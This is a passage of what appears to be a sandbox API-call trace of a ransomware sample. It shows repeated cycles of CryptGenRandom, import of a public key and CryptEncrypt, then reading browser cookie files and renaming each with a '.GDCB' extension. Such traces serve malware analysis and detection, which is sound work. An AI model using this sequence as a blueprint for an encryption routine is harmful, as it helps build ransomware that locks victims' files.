pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.413] CryptEncrypt (in: hKey=0x5038350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.413] GetLastError () returned 0x0 [0191.413] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.413] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.414] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038790) returned 1 [0191.414] CryptGetKeyParam (in: hKey=0x5038790, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.415] CryptEncrypt (in: hKey=0x5038790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.415] GetLastError () returned 0x0 [0191.415] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.415] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\T1LCPPSA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\t1lcppsa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.417] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.418] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.418] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x50, lpOverlapped=0x0) returned 1 [0191.427] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.432] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\T1LCPPSA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\t1lcppsa.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\T1LCPPSA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\t1lcppsa.txt.gdcb")) returned 1 [0191.437] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.440] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.440] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.440] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.440] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0191.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.442] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.442] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0191.442] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.444] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038410) returned 1 [0191.444] CryptGetKeyParam (in: hKey=0x5038410, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.444] CryptEncrypt (in: hKey=0x5038410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.445] GetLastError () returned 0x0 [0191.445] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.445] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0191.446] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50382d0) returned 1 [0191.447] CryptGetKeyParam (in: hKey=0x50382d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.447] CryptEncrypt (in: hKey=0x50382d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.447] GetLastError () returned 0x0 [0191.447] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.447] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TCXQPY9L.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tcxqpy9l.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.449] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.450] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.451] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6c, lpOverlapped=0x0) returned 1 [0191.460] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.464] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TCXQPY9L.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tcxqpy9l.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TCXQPY9L.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tcxqpy9l.txt.gdcb")) returned 1 [0191.472] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0191.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.474] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.474] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.474] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.474] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.476] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.476] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.476] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.476] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.479] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038490) returned 1 [0191.479] CryptGetKeyParam (in: hKey=0x5038490, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.479] CryptEncrypt (in: hKey=0x5038490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.479] GetLastError () returned 0x0 [0191.479] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.479] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0191.481] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038150) returned 1 [0191.481] CryptGetKeyParam (in: hKey=0x5038150, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.481] CryptEncrypt (in: hKey=0x5038150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.481] GetLastError () returned 0x0 [0191.481] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0191.481] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TEW946CI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tew946ci.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.483] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.484] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.485] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x91, lpOverlapped=0x0) returned 1 [0191.494] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.498] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TEW946CI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tew946ci.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TEW946CI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tew946ci.txt.gdcb")) returned 1 [0191.504] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0191.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.507] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.507] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.507] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.509] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.509] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.509] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.509] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0191.511] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50386d0) returned 1 [0191.511] CryptGetKeyParam (in: hKey=0x50386d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.511] CryptEncrypt (in: hKey=0x50386d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.511] GetLastError () returned 0x0 [0191.511] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0191.511] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.514] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038550) returned 1 [0191.514] CryptGetKeyParam (in: hKey=0x5038550, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.514] CryptEncrypt (in: hKey=0x5038550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.514] GetLastError () returned 0x0 [0191.514] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.514] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TFCJHLEI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tfcjhlei.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.516] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.517] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.518] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xda, lpOverlapped=0x0) returned 1 [0191.527] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.532] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TFCJHLEI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tfcjhlei.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\TFCJHLEI.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\tfcjhlei.txt.gdcb")) returned 1 [0191.537] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.539] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.539] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.539] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.539] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0191.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.541] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.541] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0191.542] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0191.544] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038610) returned 1 [0191.544] CryptGetKeyParam (in: hKey=0x5038610, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.544] CryptEncrypt (in: hKey=0x5038610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.544] GetLastError () returned 0x0 [0191.544] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0191.544] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038310) returned 1 [0191.546] CryptGetKeyParam (in: hKey=0x5038310, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.546] CryptEncrypt (in: hKey=0x5038310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0191.546] GetLastError () returned 0x0 [0191.546] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0191.546] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U2OYIS47.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u2oyis47.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0191.548] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0191.549] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0191.550] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x6f, lpOverlapped=0x0) returned 1 [0191.560] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0191.564] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U2OYIS47.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u2oyis47.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\U2OYIS47.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\u2oyis47.txt.gdcb")) returned 1 [0191.570] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.571] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.572] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.572] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0191.572] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.572] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0191.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0191.574] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0191.574] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0191.574] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.575] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0191.610] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50385d0) returned 1 [0191.610] CryptGetKeyParam (in: hKey=0x50385d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0191.610] CryptEncrypt (in: hKey=0x50385d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0191.610] GetLastError () returned 0x0 [0191.610] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0191.610] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0191.612] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038450) returned 1 [0191.612] CryptGetKeyParam (in: hKey=0x5038450, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: 